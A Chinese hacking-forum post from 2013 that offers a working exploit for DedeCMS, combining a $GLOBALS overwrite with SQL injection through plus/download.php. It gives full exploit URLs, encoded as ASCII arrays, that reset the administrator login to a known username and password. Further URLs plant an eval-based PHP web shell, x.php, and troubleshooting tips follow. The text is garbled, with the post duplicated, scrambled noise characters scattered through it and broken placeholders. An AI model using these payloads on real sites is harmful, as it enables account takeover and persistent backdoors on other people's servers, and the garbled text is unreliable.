找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2664|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此漏洞无视gpc转义,过80sec注入防御。
9 P3 w# m1 d4 ~  H5 \补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?8 O( ^9 V% [* w: E3 l
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。$ d7 P* l0 ^/ J8 H; R1 [
include/dedesql.class.php0 D* |- Q% B! B" O: U* h/ F: W
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
' u4 h; E( r: n4 @5 w同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
9 o9 U8 V" d2 G! M* |; B而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
0 |; P* s) t4 s1 B- wplus/download.php
  k6 Q, a. L# A  s+ ~else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
/ Q8 U  o. q3 ]. x, j3 B$ cadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
3 u, A( {( E/ ~" fUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:' G* q' C9 q( E) `
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin6 L, g6 K3 L3 z2 N
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。8 p6 V$ u2 J0 o5 h; x
如果找不到后台,参见以前修改数据库直接拿SHELL的方法) P8 l& \8 p% J0 o) J$ q' K) r" C3 z6 Z
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。$ S* v, \0 y# @' @% X5 A. }! E
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?. o1 r$ g3 B' R; v
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。9 q3 J. n* Z5 F: j; R
include/dedesql.class.php
# L# G% T: H/ e  jif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。/ b% y/ D& v) z& v& f2 X, x
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2" C2 |+ X4 R. o
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
# w8 i/ v0 }4 R7 h$ [7 W- qplus/download.php+ K6 h' Y! n& k* y/ O; G$ _: q
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
# C* W4 D5 g2 a$ U3 s  e/ [admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
; g5 ~* I( S, o( F# _UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
( V& i7 t- Z) F$ |, Ihttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
9 U$ Y% x! s* v漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。; n; j7 ^9 l4 ]: T# |( C+ k
如果找不到后台,参见以前修改数据库直接拿SHELL的方法$ o: O. M6 ~4 O! P& ?
___FCKpd___6getshell:
- Y$ B' u+ J* w: Y4 h! Thttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m( b: b1 f% {! W% T8 {
http://127.0.0.1/plus/x.php% c5 v9 H. s' s2 E% A* g
update成功后还要访问下 /plus/mytag_js.php?aid=1
9 J- B1 g, D/ G9 O6 @失败原因:
/ E: r* B6 ]: X测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49); N& h: e5 W- i+ U, a3 g& Z& I
配图:/ l+ }. s3 ^# l. c. u" }
1.查看dede当前版本# F0 ~! F, Z3 n. |& B* I
* {9 y, Y  |1 X+ s5 K' x$ U2 y, r
2.执行exp6 N# N: z1 d1 f4 v' ]1 M
( i4 b: i' ^0 q0 g: C
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
' W# T! k& K0 @4 v/ N8 H; h. y" o! t
spider密码admin! S" A  D& T8 c7 M# ]! i* \( J" x% g
8 v6 L$ d" x4 `9 ^) D6 b7 B
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png6 B9 C7 k9 s* t) T( n1 Z
原作者:imspider
4 ~6 ]+ k: J2 B& x% x6 @$ T" T& }% q( O) r8 a0 y
本博客测试+配图+getshell
) X# \/ j' `7 y9 h& g4 vPOST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT ' s& H- Y, i% l% P/ Z

6 e7 y0 \+ }* B8 wgetshell:
( p' b, ?1 _- P8 z) D5 u___FCKpd___7会在plus目录生成 x.php 密码 m
- N; s* N) N: X8 C- b% xhttp://127.0.0.1/plus/x.php& V: {$ g$ y1 t  i/ u$ O8 m+ D
update成功后还要访问下 /plus/mytag_js.php?aid=1: e2 w( ?$ A3 ]1 K' I0 f" u
失败原因:; X# |  L; t1 c. r) Y' r
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
! v2 l6 H7 n" [( T2 C9 P' f# Z- U配图:
3 ?" f' U1 D# r' l* q' ], N8 D& _# D. n1.查看dede当前版本
7 E! c0 ]1 R$ S: Ihttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png5 R1 c: O) _) N1 ^; Q; V. d* f/ }
2.执行exp$ f4 d3 c, B4 w- |; k5 p
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台) \) B9 T8 `9 A/ l; h1 l2 i4 e
spider密码admin! V- _  l7 o/ n0 f' N6 P  p. z
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png6 A2 h2 }' o7 D) R0 N( ~% ~4 d

% I; [( i  \; }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表